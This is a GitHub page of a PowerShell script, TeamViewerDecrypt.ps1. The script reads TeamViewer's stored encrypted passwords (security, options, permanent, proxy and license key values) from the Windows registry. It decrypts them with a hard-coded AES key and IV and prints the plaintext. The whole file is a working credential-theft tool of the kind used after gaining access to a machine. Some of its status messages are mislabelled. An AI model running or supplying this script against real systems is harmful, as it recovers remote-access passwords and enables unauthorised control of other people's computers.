-
Notifications
You must be signed in to change notification settings - Fork 5
/
TeamViewerDecrypt.ps1
168 lines (155 loc) · 5.38 KB
/
TeamViewerDecrypt.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
function TeamviewerDecrypt
{
function search
{
$path = "Registry::" + $TeamviewerDir
try
{
$TeamviewerDir = Get-Itemproperty $path
}
catch
{
}
if ($TeamviewerDir.SecurityPasswordAES)
{
Write-Host "SecurityPasswordAES found, trying to decrypt:"
decryptpass -encpass $TeamviewerDir.SecurityPasswordAES
}
elseif($TeamviewerDir.OptionsPasswordAES)
{
Write-Host "OptionsPasswordAES found, trying to decrypt:"
decryptpass -encpass $TeamviewerDir.OptionsPasswordAES
}
elseif($TeamviewerDir.SecurityPasswordExported)
{
Write-Host "SecurityPasswordExported found, trying to decrypt:"
decryptpass -encpass $TeamviewerDir.SecurityPasswordExported
}
elseif($TeamviewerDir.PermanentPassword)
{
Write-Host "PermanentPassword found, trying to decrypt:"
decryptpass -encpass $TeamviewerDir.PermanentPassword
}
elseif($TeamviewerDir.ProxyPasswordAES)
{
Write-Host "PermanentPassword found, trying to decrypt:"
decryptpass -encpass $TeamviewerDir.ProxyPasswordAES
}
elseif($TeamviewerDir.LicenseKeyAES)
{
Write-Host "PermanentPassword found, trying to decrypt:"
decryptpass -encpass $TeamviewerDir.LicenseKeyAES
}
}
Write-Host "Looking for Registry entries on this system:"
if ((Test-Path Registry::'HKCU:\SOFTWARE\Teamviewer\') -Or (Test-Path Registry::'HKLM\SOFTWARE\WOW6432Node\TeamViewer') -Or (Test-Path Registry::'HKLM\SOFTWARE\TeamViewer'))
{
$success = $false
if (Test-Path Registry::'HKCU:\SOFTWARE\Teamviewer\')
{
$TeamviewerDirs = Get-ChildItem Registry::'HKCU:\SOFTWARE\Teamviewer\'
if ($TeamviewerDirs -eq $null)
{
$TeamviewerDir = Get-ItemProperty Registry::HKCU\Software\Teamviewer\
Search
}
else
{
foreach ($TeamviewerDir in $TeamviewerDirs)
{
Search
$TeamviewerDir = 'Registry::HKCU\Software\Teamviewer\'
Search
}
}
}
elseif (Test-Path Registry::'HKLM\SOFTWARE\WOW6432Node\TeamViewer')
{
$TeamviewerDirs = Get-ChildItem Registry::'HKLM\SOFTWARE\WOW6432Node\TeamViewer'
if ($TeamviewerDirs -eq $null)
{
$TeamviewerDir = Get-ItemProperty Registry::HKLM\SOFTWARE\WOW6432Node\TeamViewer
Search -dir $TeamviewerDir
}
else
{
foreach ($TeamviewerDir in $TeamviewerDirs)
{
Search
$TeamviewerDir = Get-ItemProperty Registry::HKLM\SOFTWARE\WOW6432Node\TeamViewer\
Search
}
}
}
else
{
$TeamviewerDirs = Get-ChildItem Registry::HKLM\SOFTWARE\TeamViewer
if ($TeamviewerDirs -eq $null)
{
$TeamviewerDir = Get-ItemProperty Registry::HKLM\SOFTWARE\TeamViewer
Search
}
else
{
foreach ($TeamviewerDir in $TeamviewerDirs)
{
Search
$TeamviewerDir = Get-ItemProperty Registry::HKLM\SOFTWARE\TeamViewer
Search
}
}
}
}
else
{
Write-Host "No Teamviewer installed, sorry"
}
}
function decryptpass
{
param(
[byte[]]
$encpass
)
function Create-AesManagedObject($key, $IV) {
$aesManaged = New-Object "System.Security.Cryptography.AesManaged"
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($IV) {
if ($IV.getType().Name -eq "String") {
$aesManaged.IV = [System.Convert]::FromBase64String($IV)
}
else {
$aesManaged.IV = $IV
}
}
if ($key) {
if ($key.getType().Name -eq "String") {
$aesManaged.Key = [System.Convert]::FromBase64String($key)
}
else {
$aesManaged.Key = $key
}
}
$aesManaged
}
function Decrypt-String($key, $encryptedStringWithIV) {
$bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor();
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
$aesManaged.Dispose()
[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}
[byte[]]$key = 0x06,0x02,0x00,0x00,0x00,0xa4,0x00,0x00,0x52,0x53,0x41,0x31,0x00,0x04,0x00,0x00
[byte[]]$IV = 0x01,0x00,0x01,0x00,0x67,0x24,0x4F,0x43,0x6E,0x67,0x62,0xF2,0x5E,0xA8,0xD7,0x04
[byte[]]$EncryptedBytes = $encpass
$encryptedString = $IV + $EncryptedBytes
$encryptedString = [System.Convert]::ToBase64String($encryptedString)
$backToPlainText = Decrypt-String $key $encryptedString
Write-Host "Decrypted Password is as follows:"
$backToPlainText
}